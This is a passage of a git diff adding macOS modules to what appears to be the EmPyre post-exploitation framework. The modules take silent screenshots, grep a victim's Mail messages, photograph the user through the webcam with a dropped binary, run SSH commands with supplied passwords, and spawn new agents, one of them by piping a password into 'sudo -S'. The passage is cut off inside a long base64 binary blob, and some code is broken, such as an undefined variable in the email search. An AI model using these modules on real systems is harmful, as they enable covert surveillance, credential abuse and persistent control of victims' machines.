'Required' : True, + 'Value' : '' + }, + 'Voice' : { + 'Description' : 'The voice to use.', + 'Required' : True, + 'Value' : 'alex' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + voice = self.options['Voice']['Value'] + text = self.options['Text']['Value'] + + script = """ +run_command('say -v %s %s') +""" %(voice, text) + + return script diff --git a/lib/modules/osx/screenshot.py b/lib/modules/osx/screenshot.py new file mode 100644 index 0000000..633424b --- /dev/null +++ b/lib/modules/osx/screenshot.py @@ -0,0 +1,83 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Screenshot', + + # list of one or more authors for the module + 'Author': ['@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ('Takes a screenshot of an OSX desktop using screencapture and returns the data.'), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "png", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # list of any references/other comments + 'Comments': [] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'SavePath' : { + 'Description' : 'Path of the temporary screenshot file to save.', + 'Required' : True, + 'Value' : '/tmp/out.png' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + savePath = self.options['SavePath']['Value'] + + script = """ +# take a screenshot using screencapture +run_command('screencapture -x /tmp/out.png') +# base64 up resulting file, delete the file, return the base64 of the png output +# mocked from the Empire screenshot module +f = open('%s', 'rb') +data = base64.b64encode(f.read()) +f.close() +run_command('rm -f %s') +print data +""" %(savePath,savePath) + + return script diff --git a/lib/modules/osx/search_email.py b/lib/modules/osx/search_email.py new file mode 100644 index 0000000..b926e9d --- /dev/null +++ b/lib/modules/osx/search_email.py @@ -0,0 +1,84 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'SearchEmail', + + # list of one or more authors for the module + 'Author': ['@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ("Searches for Mail .emlx messages, optionally only returning " + "messages with the specified SeachTerm."), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # list of any references/other comments + 'Comments': [ + "https://davidkoepi.wordpress.com/2013/07/06/macforensics5/" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'SearchTerm' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : "Term to grep for in email messages.", + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + searchTerm = self.options['SearchTerm']['Value'] + + script = "cmd = \"find /Users/ -name *.emlx 2>/dev/null" + + if searchTerm != "": + script += "|xargs grep -i '"+searchTerm+"'\"" + else: + cmd += "'" + + script += "\nrun_command(cmd)" + + return script diff --git a/lib/modules/osx/spawn.py b/lib/modules/osx/spawn.py new file mode 100644 index 0000000..9699ec6 --- /dev/null +++ b/lib/modules/osx/spawn.py @@ -0,0 +1,104 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Spawn', + + # list of one or more authors for the module + 'Author': ['@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ('Spawns a new EmPyre agent.'), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # list of any references/other comments + 'Comments': [] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + isEmpire = self.mainMenu.listeners.is_listener_empyre(listenerName) + if not isEmpire: + print helpers.color("[!] EmPyre listener required!") + return "" + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + else: + + launcher = launcher.replace('"','\\"') + script = 'os.system("%s")' %(launcher) + return script diff --git a/lib/modules/osx/ssh_command.py b/lib/modules/osx/ssh_command.py new file mode 100644 index 0000000..61f3519 --- /dev/null +++ b/lib/modules/osx/ssh_command.py @@ -0,0 +1,198 @@ +from lib.common import helpers + +class Module: + def __init__(self, mainMenu, params=[]): + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'SSHCommand', + + # list of one or more authors for the module + 'Author': ['Paul Mikesell', '@424f424f'], + + # more verbose multi-line description of the module + 'Description': 'This module will send an ssh command and display the output.', + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # list of any references/other comments + 'Comments': [ + 'http://blog.clustrix.com/2012/01/31/scripting-ssh-with-python/' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to use ssh from.', + 'Required' : True, + 'Value' : '' + }, + 'Login' : { + 'Description' : 'user@127.0.0.1', + 'Required' : True, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'Password', + 'Required' : True, + 'Value' : '' + }, + 'Command' : { + 'Description' : 'Command to execute', + 'Required' : True, + 'Value' : 'id' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + login = self.options['Login']['Value'] + parts = login.split('@') + if len(parts) != 2: + print "please enter login in 'user@host' format" + return "" + user = parts[0] + host = parts[1] + + password = self.options['Password']['Value'] + command = self.options['Command']['Value'] + + script = """ + +def run_cmd(ip, passwd, cmd, user, port=22): + import pty, re, os, sys, stat + + class SSHError(Exception): + def __init__(self, value): + self.value = value + def __str__(self): + return repr(self.value) + + class SSH: + def __init__(self, ip, passwd, user, port): + self.ip = ip + self.passwd = passwd + self.user = user + self.port = port + + def run_cmd(self, c): + (pid, f) = pty.fork() + if pid == 0: + os.execlp("ssh", "ssh", '-p %%d' %% self.port, + self.user + '@' + self.ip, c) + else: + return (pid, f) + + def push_file(self, src, dst): + (pid, f) = pty.fork() + if pid == 0: + os.execlp("scp", "scp", '-P %%d' %% self.port, + src, self.user + '@' + self.ip + ':' + dst) + else: + return (pid, f) + + def push_dir(self, src, dst): + (pid, f) = pty.fork() + if pid == 0: + os.execlp("scp", "scp", '-P %%d' %% self.port, "-r", src, + self.user + '@' + self.ip + ':' + dst) + else: + return (pid, f) + + def _read(self, f): + x = "" + try: + x = os.read(f, 1024) + except Exception, e: + # this always fails with io error + pass + return x + + def ssh_results(self, pid, f): + output = "" + got = self._read(f) # check for authenticity of host request + m = re.search("authenticity of host", got) + if m: + os.write(f, 'yesn') + # Read until we get ack + while True: + got = self._read(f) + m = re.search("Permanently added", got) + if m: + break + + got = self._read(f) # check for passwd request + m = re.search("assword:", got) + if m: + # send passwd + os.write(f, self.passwd + '\\n') + # read two lines + tmp = self._read(f) + tmp += self._read(f) + m = re.search("Permission denied", tmp) + if m: + raise Exception("Invalid passwd") + # passwd was accepted + got = tmp + while got and len(got) > 0: + output += got + got = self._read(f) + os.waitpid(pid, 0) + os.close(f) + return output + + def cmd(self, c): + (pid, f) = self.run_cmd(c) + return self.ssh_results(pid, f) + + def push(self, src, dst): + s = os.stat(src) + if stat.S_ISDIR(s[stat.ST_MODE]): + (pid, f) = self.push_dir(src, dst) + else: + (pid, f) = self.push_file(src, dst) + return self.ssh_results(pid, f) + + def ssh_cmd(ip, passwd, cmd, user, port=22): + s = SSH(ip, passwd, user, port) + return s.cmd(cmd) + + def ssh_push(ip, passwd, src, dst, user, port=22): + s = SSH(ip, passwd, user, port) + return s.push(src, dst) + + print ssh_cmd(ip, passwd, cmd, user, port=22) + +run_cmd('%s', '%s', '%s', user='%s') + +""" %(host, password, command, user) + + return script diff --git a/lib/modules/osx/sudo_spawn.py b/lib/modules/osx/sudo_spawn.py new file mode 100644 index 0000000..84d38fb --- /dev/null +++ b/lib/modules/osx/sudo_spawn.py @@ -0,0 +1,120 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'SudoSpawn', + + # list of one or more authors for the module + 'Author': ['@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ('Spawns a new EmPyre agent using sudo.'), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # list of any references/other comments + 'Comments': [] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'User password for sudo.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + isEmpire = self.mainMenu.listeners.is_listener_empyre(listenerName) + if not isEmpire: + print helpers.color("[!] EmPyre listener required!") + return "" + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + else: + + password = self.options['Password']['Value'] + + password = password.replace('$', '\$') + password = password.replace('$', '\$') + password = password.replace('!', '\!') + password = password.replace('!', '\!') + + launcher = launcher.replace('"', '\\"') + launcher = launcher.replace("base64.b64decode('", 'base64.b64decode(\\\\\\\"') + launcher = launcher.replace("'));", '\\\\\\\"));') + + script = 'os.system("echo \\"%s\\" | sudo -S bash -c \\\'%s\\\'")' %(password, launcher) + + return script diff --git a/lib/modules/osx/webcam.py b/lib/modules/osx/webcam.py new file mode 100644 index 0000000..2c3a3ff --- /dev/null +++ b/lib/modules/osx/webcam.py @@ -0,0 +1,95 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Webcam', + + # list of one or more authors for the module + 'Author': ['@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ("Takes a picture of a person through OSX's webcam with an ImageSnap binary."), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "jpg", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # list of any references/other comments + 'Comments': [ + "http://iharder.sourceforge.net/current/macosx/imagesnap/" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'TempDir' : { + 'Description' : 'Temporary directory to drop the ImageSnap binary and picture.', + 'Required' : True, + 'Value' : '/tmp/' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + tempDir = self.options['TempDir']['Value'] + if not tempDir.endswith("/"): + tempDir += "/" + + script = """ +import base64, time +imageSnapb64 = "yv66vgAAAAIBAAAHgAAAAwAAEAAAAG3oAAAADAAAAAcAAAADAACAAAAAdrAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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